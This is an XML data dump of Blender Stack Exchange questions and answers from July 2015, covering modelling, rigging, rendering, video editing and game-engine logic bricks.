  <row Id="33500" PostTypeId="1" AcceptedAnswerId="35911" CreationDate="2015-07-06T16:57:47.247" Score="3" ViewCount="310" Body="&lt;p&gt;I'm working toward a system where the player can bounce a ray around toward a target using mirror objects. Essential to this process will be making the ray reflect properly. &#xA;Essentially, I thought it would be best if I simply added an object at the ray hitPosition that would emit a new ray. This adds the object, but not in the right orientation. Is there a way I can have the game engine calculate which way the new object should face?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to make the new ray reflect at a equal angle (when bisected by a perpendicular of the mirror face) to the angle that the ray came in on.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="8262" LastEditDate="2015-07-06T17:02:59.413" LastActivityDate="2015-08-18T03:44:50.800" Title="Reflecting a ray (of light) in bge?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33501" PostTypeId="1" AcceptedAnswerId="33503" CreationDate="2015-07-06T17:54:50.293" Score="19" ViewCount="3705" Body="&lt;p&gt;Need a way to do a loopcut- ish thingy on the blue line&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k49AE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13634" LastEditorUserId="599" LastEditDate="2015-07-06T18:13:30.523" LastActivityDate="2015-11-13T18:57:34.393" Title="Need a way to do a &quot;loop cut&quot; on a triangle fan" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;editing&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33502" PostTypeId="1" CreationDate="2015-07-06T18:08:59.103" Score="0" ViewCount="86" Body="&lt;p&gt;I was wondering if there would be anyone willing to tutor or teach me to start with blender, and get a decent way into it...I find the wiki and video tutorials somewhat difficult because I'm not very good at self-study. I understand it might not be worth it, as there is no way for me to pay you, but maybe we could work on projects together once we finished or as we go along? I'm also very willing to help you with your projects as I learn new concepts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance, I appreciate it!&lt;/p&gt;&#xA;" OwnerUserId="15452" LastEditorUserId="3401" LastEditDate="2015-07-06T18:57:20.763" LastActivityDate="2015-07-06T18:57:25.610" Title="How can I find help learning Blender?" Tags="&lt;documentation&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2015-07-06T19:03:45.473" ContentLicense="CC BY-SA 3.0" />
  <row Id="33503" PostTypeId="2" ParentId="33501" CreationDate="2015-07-06T18:13:10.100" Score="26" Body="&lt;p&gt;One way is to use vertex bevel (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt;): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ASB4b.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the triangle fan is converted to quads you can add loopcuts. In the gif I converted the ngon resulting from the bevel to a triangle fan with &lt;em&gt;Poke&lt;/em&gt; (&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative to bevel, you might also try &lt;em&gt;Inset&lt;/em&gt; (&lt;kbd&gt;I&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qimtM.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-07-06T18:13:10.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33504" PostTypeId="2" ParentId="33501" CreationDate="2015-07-06T18:38:35.697" Score="7" Body="&lt;ol&gt;&#xA;&lt;li&gt;Select all the triangle fan edges in Edge Selection Mode.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QArJf.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QArJf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Open Specials Menu using &lt;kbd&gt;W&lt;/kbd&gt; button and select subdivide.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hit &lt;kbd&gt;F6&lt;/kbd&gt; button right after using Subdivide operation to open Subdivide Menu and adjust the number of subdivisions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6SPIq.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6SPIq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or change the number of subdivisions in Subdivide Operator panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xM00w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-11-13T18:57:34.393" LastActivityDate="2015-11-13T18:57:34.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33505" PostTypeId="1" CreationDate="2015-07-06T18:44:24.920" Score="4" ViewCount="1339" Body="&lt;p&gt;Which experiences and hints do you have when it comes to importing data from CAD systems like Siemens NX, SolidWorks, SolidEdge and so forth? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm struggeling with this topic for one week now and just found the suitable solution of STL files. This comes with the downside of having tons of triangles where one single face would be sufficient, a huge file size and overall only flat surfaces which looks ugly with round objects e.g. tires. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just found out after trying a lot of combinations and options today, that NX has a well usable DXF export when it comes to curves and faces. They are even importable to blender as connected real splines. I was kind of astonished.&#xA;The downside is...exporting the volume body itself was not not of that charme. The body is made of flat faces and the resolution value is not respected. Whatever one inputs the resolution of the volume body remains constant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VRML export has a usable resolution/tolerance value input option that works out fine. The wrl file gets imported in blender nicely. Downside: every connected face (all faces are flat) is an extra object. Joining the objects together is necessary. I also experimented with the wrl file in MeshLab and exported it from there to Collada, PLY and CTM files. The compression with CTM worked really well and didn't loose any visable faces or vertices. Also loading went like a charm. Faces as single objects issue remains, though.&lt;/p&gt;&#xA;" OwnerUserId="15388" LastEditorUserId="15388" LastEditDate="2015-07-07T19:59:04.590" LastActivityDate="2017-01-07T19:12:27.483" Title="Import from CAD System" Tags="&lt;import&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33506" PostTypeId="2" ParentId="33502" CreationDate="2015-07-06T18:50:56.683" Score="2" Body="&lt;p&gt;While not exactly the type of tutor you are asking about, the &lt;a href=&quot;https://blender.stackexchange.com/questions/15355/&quot;&gt;Resources for Blender&lt;/a&gt; page, under the first category, &lt;em&gt;Learning&lt;/em&gt;, there is a link to an answer which points to two on-line courses, one geared towards high school, and one geared towards college level learners. My suggestions is to work through either&amp;mdash;or both&amp;mdash; of these is as a start. You need not be a student of the sponsoring institutions to use the courses, and they are free. They are also complete courses as you might find in contemporary US high schools and colleges, where some classes are conducted on line. Having worked through these, you may find you don't have as much need for a tutor.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-07-06T18:57:25.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33507" PostTypeId="1" CreationDate="2015-07-06T18:54:59.063" Score="1" ViewCount="458" Body="&lt;p&gt;So my problem is that I cannot resize the toolshelf in any direction, which is really annoying since I don't see the tabs because there are so many of them. I'd like to resize it and I have no idea why I cannot. And it's just the toolshelf, other areas can be resized with no problem.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1pTCv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15349" LastEditorUserId="3401" LastEditDate="2015-07-07T02:13:25.983" LastActivityDate="2015-08-06T02:16:16.873" Title="Why can't I resize the Toolshelf?" Tags="&lt;interface&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="33508" PostTypeId="2" ParentId="33494" CreationDate="2015-07-06T18:58:17.850" Score="4" Body="&lt;p&gt;If you have your text transformed in blender curves, you can animate it using the add-on &quot;AnimAll&quot;, which lets you animate directly every control point of your curves. You'll have to go to preference window, add-ons, search for AnimAll, activate it and save your user settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you will use only the first svg, and you'll have to remodel it following the shape of the second, but everything remains in vector mode, without any pixelation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, if you want  a single control to move the morphing, you can use an action constraint.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastEditorUserId="13752" LastEditDate="2015-07-06T19:03:37.477" LastActivityDate="2015-07-06T19:03:37.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33509" PostTypeId="1" CreationDate="2015-07-06T19:18:33.307" Score="1" ViewCount="11135" Body="&lt;p&gt;I want to keep a few edges of my mesh straight and flat while making other parts of the mesh smooth and curved. How do I do that? I tried using catmull-clark but I can't choose what to subdivide and what not&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2018-03-03T10:10:45.210" Title="Smoothing selected parts of mesh" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2018-03-03T14:25:47.213" ContentLicense="CC BY-SA 3.0" />
  <row Id="33510" PostTypeId="1" CreationDate="2015-07-06T19:36:02.717" Score="1" ViewCount="912" Body="&lt;p&gt;This is in follow up to my previous post. I see that i can render the zbuffer into an image from the answer to my &lt;a href=&quot;https://blender.stackexchange.com/questions/33293/z-buffer-output-from-blender-as-file&quot;&gt;previous pos&lt;/a&gt;t. But can I get the real Z values some how using blender? &#xA;I found &lt;a href=&quot;https://stackoverflow.com/questions/6652253/getting-the-true-z-value-from-the-depth-buffer&quot;&gt;this page&lt;/a&gt; that talks about it in OpenGL but I am not sure how to access the values in blender. If someone has done this before, please help me out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&#xA;Karthik&lt;/p&gt;&#xA;" OwnerUserId="15189" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2016-02-29T14:30:49.350" Title="How to get real Z-buffer value from Blender" Tags="&lt;blender-internal-render-engine&gt;&lt;depth-of-field&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33511" PostTypeId="1" AcceptedAnswerId="33573" CreationDate="2015-07-06T19:59:41.550" Score="3" ViewCount="1322" Body="&lt;p&gt;Sometimes it is useful to render a complete video even though some (possibly random) frames are still missing.&#xA;Is there any way to &lt;a href=&quot;https://en.wikipedia.org/wiki/Motion_interpolation&quot; rel=&quot;nofollow&quot;&gt;interpolate the missing&lt;/a&gt; frames with Blender?&#xA;In the case that it is not possible, I would be happy for any suggestion on that problem. &lt;/p&gt;&#xA;" OwnerUserId="15454" LastActivityDate="2015-07-07T23:37:58.583" Title="Is it possible to interpolate missing frames in video editing?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33512" PostTypeId="1" CreationDate="2015-07-06T20:27:47.967" Score="1" ViewCount="146" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UOIHr.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When setting the collision to the bowl I initially was seeing some of the pieces of rice sliding to the bottom and falling out. Now that I've updated the scene with a different bowl I'm unable to get the rice to collide with the bowl and it goes straight through. The end result that I'm going for is simply to fill the bowl with rice.&lt;/p&gt;&#xA;" OwnerUserId="15455" LastActivityDate="2015-07-06T20:27:47.967" Title="Filling an object with particles issue" Tags="&lt;particles&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-07-06T23:13:39.733" ContentLicense="CC BY-SA 3.0" />
  <row Id="33513" PostTypeId="1" AcceptedAnswerId="33538" CreationDate="2015-07-06T21:29:59.053" Score="3" ViewCount="7208" Body="&lt;p&gt;I have 3 separate armatures, A, B, and C. I want to parent one bone from Armature A and another bone from Armature B to one bone in Armature C. I'm trying to make one bone in Armature C offset the other two bones in Armatures A and B whenever it is moved in pose mode. Is this possible? If so, what is the process for setting this up? &lt;/p&gt;&#xA;" OwnerUserId="2613" LastActivityDate="2015-12-07T07:38:09.827" Title="Is it possible to parent bones between armatures?" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;&lt;parent&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33514" PostTypeId="1" CreationDate="2015-07-06T22:27:45.667" Score="1" ViewCount="277" Body="&lt;p&gt;My grid is askew and I don't know why&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wC0GP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13634" LastEditorUserId="599" LastEditDate="2015-07-06T22:30:48.033" LastActivityDate="2015-07-06T22:30:48.033" Title="Grid floor is not straight" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33515" PostTypeId="2" ParentId="33514" CreationDate="2015-07-06T22:30:39.830" Score="2" Body="&lt;p&gt;It looks like you may have rotated the view with &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/v1vyT.png&quot; alt=&quot;MW&quot; title=&quot;Mouse Wheel&quot;&gt; Scroll&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To re-align it, try going into an aligned view (e.g. &lt;em&gt;Front view&lt;/em&gt; with &lt;kbd&gt;Numpad 1&lt;/kbd&gt;).&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-07-06T22:30:39.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33516" PostTypeId="2" ParentId="3505" CreationDate="2015-07-06T22:33:40.250" Score="3" Body="&lt;p&gt;Helpful tip here, even though it's already been answered: You can also press &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Num .&lt;/kbd&gt; to lock it, and &lt;kbd&gt;Alt&lt;/kbd&gt; + Num . to unlock.&lt;/p&gt;&#xA;" OwnerUserId="15456" LastActivityDate="2015-07-06T22:33:40.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33519" PostTypeId="1" AcceptedAnswerId="33522" CreationDate="2015-07-06T23:54:02.383" Score="1" ViewCount="276" Body="&lt;p&gt;For a ray sensor, I want it to detect object &lt;strong&gt;without&lt;/strong&gt; a specified prop. I will put it as invert. If I use invert with x-ray mode, it will invert &lt;em&gt;the&lt;/em&gt; x-ray mode. How can I use x-ray mode to detect an object without a prop?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-07-07T01:14:30.457" Title="X-ray mode problem" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33520" PostTypeId="1" AcceptedAnswerId="33521" CreationDate="2015-07-07T00:15:38.430" Score="3" ViewCount="877" Body="&lt;p&gt;I'm trying out a method of &lt;strong&gt;rendering smoke&lt;/strong&gt; in Blender &lt;strong&gt;Cycles&lt;/strong&gt; through the use of &lt;strong&gt;Image Planes and Smoke Textures&lt;/strong&gt; as Johnathon Lampel shows in his recent tutorial: &lt;a href=&quot;http://www.blendernation.com/2015/07/04/faking-smoke-with-particles-in-cycles/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blendernation.com/2015/07/04/faking-smoke-with-particles-in-cycles/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my current result:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YyYgE.png&quot; alt=&quot;Screenshot1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is my node set-up:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bjgRi.png&quot; alt=&quot;Screenshot2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, in order to prevent cycles from rendering transparent planes at the back of the particle system as black I've had to bump my &lt;code&gt;Transparency&lt;/code&gt; Light Path Bounces up to a &lt;code&gt;Max:&lt;/code&gt; value of &lt;code&gt;56&lt;/code&gt;, which in turn takes a while to render (1min 56secs on half-res 10 samples).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel that it should be possible for Cycles to simply disregard Transparency, so instead of computing it as a bounce, it just treats it as though it's not there, rendering the smoke image but not the alpha surrounding it. As a result this would drastically save on render times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if this is possible? :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Thanks!&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="15132" LastActivityDate="2015-07-07T14:05:43.590" Title="Is there a way to stop Cycles Computing Transparency?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33521" PostTypeId="2" ParentId="33520" CreationDate="2015-07-07T01:05:20.953" Score="4" Body="&lt;p&gt;&lt;strong&gt;From my knowledge of cycles, I don't think this is possible.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of it this way:  If you disable camera ray visibility it simply ignores the object when calculating ray collisions.  But a transparent shader is simply that: a shader.  And Cycles will only look at a surface's shader if a ray has already hit the surface, meaning the calculation you are trying to avoid has already been performed.  In other words, Cycles has to perform the collision algorithm to find out where the ray hits the surface to know if it is transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To ignore transparent parts of objects you would first have to go through every shader in the scene looking for the pure white 100% transparent parts so that it just so you can ignore them in the ray-tracing step.  This process would be very computationally expensive and would probably far out-weigh the saved time in the ray collision calculation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that said, I am by no means a complete expert on cycles, so if anything I have said is incorrect please let me know.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-07-07T14:05:43.590" LastActivityDate="2015-07-07T14:05:43.590" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33522" PostTypeId="2" ParentId="33519" CreationDate="2015-07-07T01:14:30.457" Score="2" Body="&lt;p&gt;You can do that by a logic operation and two ray sensors :&lt;br&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- the first ray sensor detects objects with &lt;strong&gt;prop&lt;/strong&gt;  &lt;br&gt; &#xA;2- the second ray sensor detects any objects&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the objects you  want to detect are any object except the ones that have &lt;strong&gt;prop&lt;/strong&gt; so use the expression :  &lt;code&gt;Ray_2 and Not Ray_1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IeiuO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-07-07T01:14:30.457" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="33523" PostTypeId="1" CreationDate="2015-07-07T01:41:07.107" Score="3" ViewCount="129" Body="&lt;p&gt;I add armatures,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ctrl + P,&#xA;    -Armature Deform&#xA;       -With Automatic Weights&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's looking pretty good so far:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rKK8z.png&quot; alt=&quot;Looking good.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I try to pose my newly rigged character mesh:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9uf1Q.png&quot; alt=&quot;What the heck happened here??&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happened here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The render looks like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KF3ln.png&quot; alt=&quot;That looks really ugly.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Naturally, in an animation this would look awful, so I'm trying to find out how to prevent this.&#xA;Maybe I'm rigging it incorrectly?&#xA;Maybe I need to add some sort of modifier?&lt;/p&gt;&#xA;" OwnerUserId="15459" LastEditorUserId="47" LastEditDate="2015-09-05T09:59:41.870" LastActivityDate="2016-03-03T14:20:44.557" Title="When I Pose my Armature, the Mesh Attached &quot;Fractures&quot;" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33524" PostTypeId="2" ParentId="33507" CreationDate="2015-07-07T01:52:45.920" Score="1" Body="&lt;p&gt;pressing &lt;strong&gt;&lt;kbd&gt;Numpad +&lt;/kbd&gt;&lt;/strong&gt; or &lt;strong&gt;&lt;kbd&gt;Numpad -&lt;/kbd&gt;&lt;/strong&gt; you can zoom in or out on any window (or control) in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To resize the panel drag it with the left mouse button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5yNfC.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-07-07T01:59:31.067" LastActivityDate="2015-07-07T01:59:31.067" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33525" PostTypeId="1" AcceptedAnswerId="33539" CreationDate="2015-07-07T02:08:25.313" Score="21" ViewCount="91817" Body="&lt;p&gt;On a line, I need to line up the bottom vertex points in relation to a top reference vertex point. How could I reset the X Y and Z coordinates of these vertex points to essentially line them up all through use of the vector of the reference point vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not have access to Mesh -&gt; Transform -&gt; Scale on Axis for aligning vertices along a line.&lt;/p&gt;&#xA;" OwnerDisplayName="user15462" LastEditorUserId="3401" LastEditDate="2015-07-07T02:39:37.140" LastActivityDate="2018-04-14T07:27:59.247" Title="Straighten Vertices Along a Line" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;objects&gt;" AnswerCount="5" CommentCount="2" FavoriteCount="17" ContentLicense="CC BY-SA 3.0" />
  <row Id="33526" PostTypeId="5" CreationDate="2015-07-07T02:28:48.663" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2015-07-07T02:28:48.663" LastActivityDate="2015-07-07T02:28:48.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33527" PostTypeId="4" CreationDate="2015-07-07T02:28:48.663" Score="0" Body="This tag is used to denote questions which are seeking answers to questions asking about aids to learning Blender, about repositories of Blender models, materials, textures, and images, books about Blender at different levels, places to meet Blenderheads with like-minded interests, blogs about Blender, and other items of use to Blenderheads. " OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-07-07T04:14:25.723" LastActivityDate="2015-07-07T04:14:25.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33528" PostTypeId="1" CreationDate="2015-07-07T02:56:43.750" Score="1" ViewCount="39" Body="&lt;p&gt;I've been baking a fluid simulation for the past four hours, and I decided to set up the materials in my scene while I was waiting.  While doing the materials, blender crashed.  Is there anyway that I can resume the baking right where it left off?  Thanks!  (This is seperate from &lt;a href=&quot;https://blender.stackexchange.com/questions/5700/how-to-resume-baking-fluid-simulation&quot;&gt;How to resume baking fluid simulation?&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="12805" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2015-07-07T02:56:43.750" Title="Crashed fluid simulation" Tags="&lt;fluid-simulation&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-07-07T15:19:47.273" ContentLicense="CC BY-SA 3.0" />
  <row Id="33529" PostTypeId="2" ParentId="33525" CreationDate="2015-07-07T03:09:15.810" Score="5" Body="&lt;p&gt;One way to align vertices is to use the scale tool. First, with the properties shelf of the 3D viewport open, select the vertex you wish to align &lt;em&gt;to&lt;/em&gt;, and copy the value of the parameter you wish to align to from the appropriate information button in &quot;transform&quot; pane at the top of the properties shelf. In the illustration below, I will be aligning the vertices along the y axis with the selected vertex. The value I will copy is in the green box. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vxJq8.jpg&quot; alt=&quot;Vertex align 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, select all of the other vertices you want to align, and scale them to the value &quot;0&quot; on the axis you want to align them to. This will line all of the vertices up in a single axis perpendicular to the desired axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CUME7.jpg&quot; alt=&quot;Vertex align 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, with all of the vertices you wish to align still selected, in the transform panel, insert the value you copied from the vertex you wish to align to into information bar for the desired parameter (the one enclosed in the green box in the first illustration. If you want to align the vertices to two axes, repeat the process for the second axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This technique does not work quite so well if the vertices are to be aligned to an edge which does not parallel one of the x, y, or z axes. In that case, the quickest way I know to do it is, if necessary, to define the edge to which I want to align the vertices by defining the other end, and creating the edge, then looking from a view perpendicular to that edge, to align the vertices manually moving them with the &lt;kbd&gt;G&lt;/kbd&gt; key until they line up the way I want them. When there have been a great number of points to align, I have also sometimes had success creating a plane through the two vertices, turning on snapping, and snapping the vertices to the plane, but in my projects, this usually takes too long to set up, and it's faster to do it manually.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-07-07T03:09:15.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33530" PostTypeId="1" CreationDate="2015-07-07T04:07:08.017" Score="1" ViewCount="1409" Body="&lt;p&gt;I am using blender as a video editing software. And I wanted to know i it is possible to get this effect from it --&gt;  &lt;a href=&quot;https://youtu.be/BXbBTTmdYtA?t=65&quot; rel=&quot;nofollow&quot;&gt;https://youtu.be/BXbBTTmdYtA?t=65&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The effect causes a flickering screen can this be done by inserting black frames?&lt;/p&gt;&#xA;" OwnerUserId="15465" LastEditorUserId="3710" LastEditDate="2015-07-07T11:46:49.230" LastActivityDate="2015-07-07T11:58:31.810" Title="Flicker screen effect" Tags="&lt;blender-internal-render-engine&gt;&lt;video-sequence-editor&gt;&lt;effects&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33531" PostTypeId="2" ParentId="2773" CreationDate="2015-07-07T04:27:31.077" Score="1" Body="&lt;p&gt;Use &lt;a href=&quot;https://www.blender.org/manual/modeling/meshes/editing/subdividing/subdivide.html?highlight=subdivide&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;subdivide&lt;/code&gt;&lt;/a&gt; with a smoothness of 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mesh before subdividing:&#xA;&lt;a href=&quot;https://www.blender.org/manual/modeling/meshes/editing/subdividing/subdivide.html?highlight=subdivide&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RG8vL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subdivided with no smoothing:&#xA;&lt;a href=&quot;https://www.blender.org/manual/modeling/meshes/editing/subdividing/subdivide.html?highlight=subdivide&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/p1Jc3.jpg&quot; alt=&quot;Subdivided with no smoothing&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subdivided with smoothing of 1:&#xA;&lt;a href=&quot;https://www.blender.org/manual/modeling/meshes/editing/subdividing/subdivide.html?highlight=subdivide&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ky5Tv.jpg&quot; alt=&quot;Subdivided with smoothing of 1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15464" LastActivityDate="2015-07-07T04:27:31.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
